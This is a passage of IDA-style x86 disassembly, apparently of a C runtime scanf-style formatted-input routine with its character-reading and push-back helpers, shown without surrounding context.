dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_42183D
pop ecx
pop ecx
push eax
call sub_421826
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
add esp, 0Ch
loc_420E2E: ; CODE XREF: sub_420DB0+8Ej
test eax, eax
jz short loc_420E40
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DF10
pop ecx
jmp short loc_420E2E
; ---------------------------------------------------------------------------
loc_420E40: ; CODE XREF: sub_420DB0+58j
; sub_420DB0+80j
cmp byte ptr [esi], 25h
jnz loc_421722
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_420E77: ; CODE XREF: sub_420DB0+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43D084, 1
jle short loc_420E94
movzx eax, bl
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_420EA3
; ---------------------------------------------------------------------------
loc_420E94: ; CODE XREF: sub_420DB0+D3j
mov ecx, off_43CE78
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420EA3: ; CODE XREF: sub_420DB0+E2j
test eax, eax
jz short loc_420EB9
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EB9: ; CODE XREF: sub_420DB0+F5j
cmp ebx, 4Eh
jg short loc_420EFC
jz short loc_420F1E
cmp ebx, 2Ah
jz short loc_420EF7
cmp ebx, 46h
jz short loc_420F1E
cmp ebx, 49h
jz short loc_420ED9
cmp ebx, 4Ch
jnz short loc_420F0B
inc [ebp+var_D]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420ED9: ; CODE XREF: sub_420DB0+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_420F0B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_420F0B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EF7: ; CODE XREF: sub_420DB0+113j
inc [ebp+var_E]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420EFC: ; CODE XREF: sub_420DB0+10Cj
cmp ebx, 68h
jz short loc_420F18
cmp ebx, 6Ch
jz short loc_420F10
cmp ebx, 77h
jz short loc_420F13
loc_420F0B: ; CODE XREF: sub_420DB0+122j
; sub_420DB0+12Dj ...
inc [ebp+var_F]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F10: ; CODE XREF: sub_420DB0+154j
inc [ebp+var_D]
loc_420F13: ; CODE XREF: sub_420DB0+159j
inc [ebp+var_5]
jmp short loc_420F1E
; ---------------------------------------------------------------------------
loc_420F18: ; CODE XREF: sub_420DB0+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_420F1E: ; CODE XREF: sub_420DB0+107j
; sub_420DB0+10Ej ...
cmp [ebp+var_F], 0
jz loc_420E77
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420F43
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420F43: ; CODE XREF: sub_420DB0+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420F61
mov al, [esi]
cmp al, 53h
jz short loc_420F5D
cmp al, 43h
jz short loc_420F5D
or [ebp+var_5], 0FFh
jmp short loc_420F61
; ---------------------------------------------------------------------------
loc_420F5D: ; CODE XREF: sub_420DB0+1A1j
; sub_420DB0+1A5j
mov [ebp+var_5], 1
loc_420F61: ; CODE XREF: sub_420DB0+19Bj
; sub_420DB0+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_420F9A
cmp esi, 63h
jz short loc_420F8B
cmp esi, 7Bh
jz short loc_420F8B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_42183D
pop ecx
jmp short loc_420F96
; ---------------------------------------------------------------------------
loc_420F8B: ; CODE XREF: sub_420DB0+1C5j
; sub_420DB0+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
loc_420F96: ; CODE XREF: sub_420DB0+1D9j
pop ecx
mov [ebp+var_14], eax
loc_420F9A: ; CODE XREF: sub_420DB0+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_420FAA
cmp [ebp+var_C], eax
jz loc_421786
loc_420FAA: ; CODE XREF: sub_420DB0+1EFj
cmp esi, 6Fh
jg loc_421211
jz loc_4214C3
cmp esi, 63h
jz loc_4211EE
cmp esi, 64h
jz loc_4214C3
jle loc_42123B
cmp esi, 67h
jle short loc_42100E
cmp esi, 69h
jz short loc_420FF6
cmp esi, 6Eh
jnz loc_42123B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4216F1
jmp loc_421717
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420DB0+229j
push 64h
pop esi
loc_420FF9: ; CODE XREF: sub_420DB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421283
mov [ebp+var_17], 1
jmp loc_421288
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420DB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42102A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42102F
; ---------------------------------------------------------------------------
loc_42102A: ; CODE XREF: sub_420DB0+26Aj
cmp ebx, 2Bh
jnz short loc_421046
loc_42102F: ; CODE XREF: sub_420DB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421049
; ---------------------------------------------------------------------------
loc_421046: ; CODE XREF: sub_420DB0+27Dj
mov edi, [ebp+arg_0]
loc_421049: ; CODE XREF: sub_420DB0+294j
cmp [ebp+var_20], 0
jz short loc_421058
cmp [ebp+var_C], 15Dh
jle short loc_42105F
loc_421058: ; CODE XREF: sub_420DB0+29Dj
mov [ebp+var_C], 15Dh
loc_42105F: ; CODE XREF: sub_420DB0+2A6j
; sub_420DB0+2F2j
cmp dword_43D084, 1
jle short loc_421074
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42107F
; ---------------------------------------------------------------------------
loc_421074: ; CODE XREF: sub_420DB0+2B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_42107F: ; CODE XREF: sub_420DB0+2C2j
test eax, eax
jz short loc_4210A4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4210A4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42105F
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420DB0+2D1j
; sub_420DB0+2DBj
cmp byte_43D088, bl
jnz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
mov al, byte_43D088
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4210CD: ; CODE XREF: sub_420DB0+360j
cmp dword_43D084, 1
jle short loc_4210E2
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4210ED
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420DB0+324j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_4210ED: ; CODE XREF: sub_420DB0+330j
test eax, eax
jz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4210CD
; ---------------------------------------------------------------------------
loc_421112: ; CODE XREF: sub_420DB0+2FAj
; sub_420DB0+304j ...
cmp [ebp+var_1C], 0
jz loc_4211AA
cmp ebx, 65h
jz short loc_42112A
cmp ebx, 45h
jnz loc_4211AA
loc_42112A: ; CODE XREF: sub_420DB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_421151
mov [esi], al
inc esi
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421151: ; CODE XREF: sub_420DB0+39Aj
cmp ebx, 2Bh
jnz short loc_421174
loc_421156: ; CODE XREF: sub_420DB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_421165
and [ebp+var_C], eax
jmp short loc_421174
; ---------------------------------------------------------------------------
loc_421165: ; CODE XREF: sub_420DB0+3AEj
; sub_420DB0+3F8j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421174: ; CODE XREF: sub_420DB0+3A4j
; sub_420DB0+3B3j
cmp dword_43D084, 1
jle short loc_421189
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421194
; ---------------------------------------------------------------------------
loc_421189: ; CODE XREF: sub_420DB0+3CBj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421194: ; CODE XREF: sub_420DB0+3D7j
test eax, eax
jz short loc_4211AA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4211AA: ; CODE XREF: sub_420DB0+366j
; sub_420DB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421826
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43D428
add esp, 0Ch
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4211EE: ; CODE XREF: sub_420DB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_4211FD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4211FD: ; CODE XREF: sub_420DB0+441j
cmp [ebp+var_5], 0
jle short loc_421207
mov [ebp+var_16], 1
loc_421207: ; CODE XREF: sub_420DB0+451j
mov edi, offset asc_43D300 ; "]"
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421211: ; CODE XREF: sub_420DB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4214BF
sub eax, 3
jz loc_42130D
dec eax
dec eax
jz loc_4214C3
sub eax, 3
jz loc_420FF9
sub eax, 3
jz short loc_42125F
loc_42123B: ; CODE XREF: sub_420DB0+21Bj
; sub_420DB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421786
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421717
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421717
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420DB0+489j
cmp [ebp+var_5], 0
jle short loc_421269
mov [ebp+var_16], 1
loc_421269: ; CODE XREF: sub_420DB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421320
mov eax, edi
lea edi, [eax+1]
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_420DB0+24Fj
cmp ebx, 2Bh
jnz short loc_4212AA
loc_421288: ; CODE XREF: sub_420DB0+259j
dec [ebp+var_C]
jnz short loc_421299
cmp [ebp+var_20], 0
jz short loc_421299
mov [ebp+var_F], 1
jmp short loc_4212AA
; ---------------------------------------------------------------------------
loc_421299: ; CODE XREF: sub_420DB0+4DBj
; sub_420DB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4212AA: ; CODE XREF: sub_420DB0+4D6j
; sub_420DB0+4E7j
cmp ebx, 30h
jnz loc_4214F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4212F8
cmp bl, 58h
jz short loc_4212F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4212E2
push 6Fh
loc_4212DC: ; CODE XREF: sub_420DB0+55Bj
pop esi
jmp loc_4214F8
; ---------------------------------------------------------------------------
loc_4212E2: ; CODE XREF: sub_420DB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4214F5
; ---------------------------------------------------------------------------
loc_4212F8: ; CODE XREF: sub_420DB0+517j
; sub_420DB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4212DC
; ---------------------------------------------------------------------------
loc_42130D: ; CODE XREF: sub_420DB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421317
mov [ebp+var_16], 1
loc_421317: ; CODE XREF: sub_420DB0+561j
mov edi, offset asc_43D2F8 ; " \t-\r]"
loc_42131C: ; CODE XREF: sub_420DB0+45Cj
; sub_420DB0+4CEj
or [ebp+var_18], 0FFh
loc_421320: ; CODE XREF: sub_420DB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421344
cmp byte ptr [edi], 5Dh
jnz short loc_421344
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421344: ; CODE XREF: sub_420DB0+584j
; sub_420DB0+589j
mov dl, [ebp+var_35]
loc_421347: ; CODE XREF: sub_420DB0+592j
; sub_420DB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4213AC
inc edi
cmp al, 2Dh
jnz short loc_421393
test dl, dl
jz short loc_421393
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421393
inc edi
cmp dl, cl
jnb short loc_421366
mov al, cl
jmp short loc_42136A
; ---------------------------------------------------------------------------
loc_421366: ; CODE XREF: sub_420DB0+5B0j
mov al, dl
mov dl, cl
loc_42136A: ; CODE XREF: sub_420DB0+5B4j
cmp dl, al
ja short loc_42138F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421377: ; CODE XREF: sub_420DB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421377
loc_42138F: ; CODE XREF: sub_420DB0+5BCj
xor dl, dl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420DB0+5A0j
; sub_420DB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_4213AC: ; CODE XREF: sub_420DB0+59Bj
cmp byte ptr [edi], 0
jz loc_4217B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4213BE
mov [ebp+arg_4], edi
loc_4213BE: ; CODE XREF: sub_420DB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421826
pop ecx
pop ecx
loc_4213D5: ; CODE XREF: sub_420DB0+6BCj
; sub_420DB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4213E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421485
loc_4213E9: ; CODE XREF: sub_420DB0+629j
inc [ebp+var_4]
push edi
call sub_42180C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421479
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421479
cmp [ebp+var_E], 0
jnz short loc_421471
cmp [ebp+var_16], 0
jz short loc_421466
mov ecx, off_43CE78
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421445
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
mov [ebp+var_37], al
loc_421445: ; CODE XREF: sub_420DB0+686j
push dword_43D084
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246CB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421469
; ---------------------------------------------------------------------------
loc_421466: ; CODE XREF: sub_420DB0+673j
mov [esi], al
inc esi
loc_421469: ; CODE XREF: sub_420DB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421471: ; CODE XREF: sub_420DB0+66Dj
inc [ebp+var_30]
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420DB0+649j
; sub_420DB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421826
pop ecx
pop ecx
loc_421485: ; CODE XREF: sub_420DB0+633j
cmp [ebp+var_30], esi
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421717
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4214B7
and word ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214B7: ; CODE XREF: sub_420DB0+6FCj
and byte ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420DB0+466j
mov [ebp+var_D], 1
loc_4214C3: ; CODE XREF: sub_420DB0+203j
; sub_420DB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4214D1
mov [ebp+var_17], 1
jmp short loc_4214D6
; ---------------------------------------------------------------------------
loc_4214D1: ; CODE XREF: sub_420DB0+719j
cmp ebx, 2Bh
jnz short loc_4214F8
loc_4214D6: ; CODE XREF: sub_420DB0+71Fj
dec [ebp+var_C]
jnz short loc_4214E7
cmp [ebp+var_20], 0
jz short loc_4214E7
mov [ebp+var_F], 1
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214E7: ; CODE XREF: sub_420DB0+729j
; sub_420DB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
loc_4214F5: ; CODE XREF: sub_420DB0+543j
mov [ebp+var_14], ebx
loc_4214F8: ; CODE XREF: sub_420DB0+4FDj
; sub_420DB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421611
cmp [ebp+var_F], 0
jnz loc_4215EF
loc_42150C: ; CODE XREF: sub_420DB0+82Cj
cmp esi, 78h
jnz short loc_421560
cmp dword_43D084, 1
jle short loc_421529
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421536
; ---------------------------------------------------------------------------
loc_421529: ; CODE XREF: sub_420DB0+768j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421536: ; CODE XREF: sub_420DB0+777j
test eax, eax
jz loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4215B3
; ---------------------------------------------------------------------------
loc_421560: ; CODE XREF: sub_420DB0+75Fj
cmp dword_43D084, 1
jle short loc_421575
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421575: ; CODE XREF: sub_420DB0+7B7j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421580: ; CODE XREF: sub_420DB0+7C3j
test eax, eax
jz short loc_4215E1
cmp esi, 6Fh
jnz short loc_42159E
cmp ebx, 38h
jge short loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247A0
jmp short loc_4215AD
; ---------------------------------------------------------------------------
loc_42159E: ; CODE XREF: sub_420DB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DB20
loc_4215AD: ; CODE XREF: sub_420DB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4215B3: ; CODE XREF: sub_420DB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4215CB
dec [ebp+var_C]
jz short loc_4215EF
loc_4215CB: ; CODE XREF: sub_420DB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42150C
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_420DB0+788j
; sub_420DB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4215EF: ; CODE XREF: sub_420DB0+756j
; sub_420DB0+819j
cmp [ebp+var_17], 0
jz loc_4216D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4216D5
; ---------------------------------------------------------------------------
loc_421611: ; CODE XREF: sub_420DB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4216CD
loc_42161B: ; CODE XREF: sub_420DB0+90Aj
cmp esi, 78h
jz short loc_42165F
cmp esi, 70h
jz short loc_42165F
cmp dword_43D084, 1
jle short loc_42163A
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421645
; ---------------------------------------------------------------------------
loc_42163A: ; CODE XREF: sub_420DB0+87Cj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421645: ; CODE XREF: sub_420DB0+888j
test eax, eax
jz short loc_4216BF
cmp esi, 6Fh
jnz short loc_421658
cmp ebx, 38h
jge short loc_4216BF
shl edi, 3
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_421658: ; CODE XREF: sub_420DB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_42165F: ; CODE XREF: sub_420DB0+86Ej
; sub_420DB0+873j
cmp dword_43D084, 1
jle short loc_421677
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421684
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_420DB0+8B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421684: ; CODE XREF: sub_420DB0+8C5j
test eax, eax
jz short loc_4216BF
push ebx
shl edi, 4
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421697: ; CODE XREF: sub_420DB0+8A6j
; sub_420DB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4216A9
dec [ebp+var_C]
jz short loc_4216CD
loc_4216A9: ; CODE XREF: sub_420DB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42161B
; ---------------------------------------------------------------------------
loc_4216BF: ; CODE XREF: sub_420DB0+897j
; sub_420DB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4216CD: ; CODE XREF: sub_420DB0+865j
; sub_420DB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4216D5
neg edi
loc_4216D5: ; CODE XREF: sub_420DB0+843j
; sub_420DB0+85Cj ...
cmp esi, 46h
jnz short loc_4216DE
and [ebp+var_1C], 0
loc_4216DE: ; CODE XREF: sub_420DB0+928j
cmp [ebp+var_1C], 0
jz loc_4217B6
cmp [ebp+var_E], 0
jnz short loc_421717
inc [ebp+var_34]
loc_4216F1: ; CODE XREF: sub_420DB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421707
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_420DB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421714
mov [eax], edi
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421714: ; CODE XREF: sub_420DB0+95Ej
mov [eax], di
loc_421717: ; CODE XREF: sub_420DB0+241j
; sub_420DB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421722: ; CODE XREF: sub_420DB0+93j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421791
mov ecx, off_43CE78
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421764
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42179F
dec [ebp+var_4]
loc_421764: ; CODE XREF: sub_420DB0+970j
; sub_420DB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42177A
cmp byte ptr [esi], 25h
jnz short loc_4217BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4217BC
mov esi, eax
loc_42177A: ; CODE XREF: sub_420DB0+9B8j
mov al, [esi]
test al, al
jnz loc_420DDA
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_421786: ; CODE XREF: sub_420DB0+1F4j
; sub_420DB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421796
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: sub_420DB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421796: ; CODE XREF: sub_420DB0+9DFj
call sub_421826
pop ecx
pop ecx
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_42179F: ; CODE XREF: sub_420DB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421826
dec [ebp+var_4]
push edi
push ebx
call sub_421826
add esp, 10h
loc_4217B6: ; CODE XREF: sub_420DB0+1Fj
; sub_420DB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4217CD
loc_4217BC: ; CODE XREF: sub_420DB0+9BDj
; sub_420DB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4217D0
cmp [ebp+var_15], al
jnz short loc_4217D0
or eax, 0FFFFFFFFh
jmp short loc_4217D0
; ---------------------------------------------------------------------------
loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj
mov eax, [ebp+var_34]
loc_4217D0: ; CODE XREF: sub_420DB0+A11j
; sub_420DB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420DB0 endp
; =============== S U B R O U T I N E =======================================
sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p
; sub_420DB0+8DCp
arg_0 = dword ptr 4
cmp dword_43D084, 1
push esi
jle short loc_4217EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4217FE
; ---------------------------------------------------------------------------
loc_4217EF: ; CODE XREF: sub_4217D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_4217FE: ; CODE XREF: sub_4217D5+18j
test eax, eax
jnz short loc_421808
and esi, 0FFFFFFDFh
sub esi, 7
loc_421808: ; CODE XREF: sub_4217D5+2Bj
mov eax, esi
pop esi
retn
sub_4217D5 endp
; =============== S U B R O U T I N E =======================================
sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p
; sub_420DB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42181E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42181E: ; CODE XREF: sub_42180C+7j
push edx
call sub_41F8E3
pop ecx
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp
; sub_420DB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
